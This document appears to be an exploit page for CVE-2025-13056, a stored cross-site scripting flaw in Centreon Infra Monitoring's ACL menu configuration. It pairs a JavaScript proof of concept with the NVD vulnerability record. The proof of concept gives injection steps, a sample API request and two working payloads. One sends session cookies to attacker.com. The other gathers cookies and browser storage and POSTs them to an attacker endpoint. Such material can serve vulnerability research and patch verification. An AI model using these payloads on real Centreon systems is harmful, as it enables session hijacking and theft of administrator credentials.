CVE-2025-13056

// CVE-2025-13056 Stored XSS PoC for Centreon ACL Configuration // Target: Centreon Infra Monitoring < 25.10.2, < 24.10.15, < 24.04.19 // Attack Vector: Inject malicious JavaScript in ACL menu configuration // Step 1: Login as high-privilege user with ACL configuration access // Step 2: Navigate to Administration > ACL > Menu Administration // Step 3: Create or edit a menu configuration entry // Step 4: Inject XSS payload in vulnerable field (e.g., menu name or description) const xssPayload = ` <img src=x onerror=" // Steal session cookies fetch('https://attacker.com/steal?cookie=' + btoa(document.cookie)) "> `; // Alternative payload - Session hijacking const sessionHijackPayload = ` <script> // Capture admin credentials or session document.addEventListener('DOMContentLoaded', function() { var sessionData = { cookies: document.cookie, localStorage: localStorage.getItem('centreon_user'), sessionStorage: sessionStorage.getItem('centreon_session'), userAgent: navigator.userAgent }; // Exfiltrate data to attacker-controlled server fetch('https://attacker.com/exfiltrate', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(sessionData) }); }); </script> `; // Example HTTP request to inject payload const injectRequest = { method: 'POST', path: '/centreon/api/latest/administration/acl/menu', body: { 'menu_name': '<script>alert("XSS")</script>', 'menu_description': xssPayload, 'menu_comment': sessionHijackPayload } }; console.log('[+] XSS Payload prepared for CVE-2025-13056'); console.log('[+] Payload will be stored and executed for all users viewing the ACL menu');

{"cve": {"id": "CVE-2025-13056", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2026-01-05T11:17:40.037", "lastModified": "2026-01-26T15:09:10.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Administration ACL menu configuration modules) \n\nallows Stored XSS to users with high privileges.\n\nThis issue affects Infra Monitoring: from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, from 24.04.0 before 24.04.19."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') en Centreon Infra Monitoring (módulos de configuración del menú ACL de Administración) permite XSS Almacenado a usuarios con altos privilegios.\n\nEste problema afecta a Infra Monitoring: desde 25.10.0 antes de 25.10.2, desde 24.10.0 antes de 24.10.15, desde 24.04.0 antes de 24.04.19."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.19", "matchCriteriaId": "440A575D-6C68-4894-A4DB-C62065FE0349"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.15", "matchCriteriaId": "BE9F2C39-E778-4EFE-8E0B-14D5174A717D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.10.0", "versionEndExcluding": "25.10.2", "matchCriteriaId": "1842C772-1AC5-49B3-A209-2B8AD6C31134"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-13056-centreon-web-medium-severity-5358", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Patch", "Vendor Advisory"]}]}}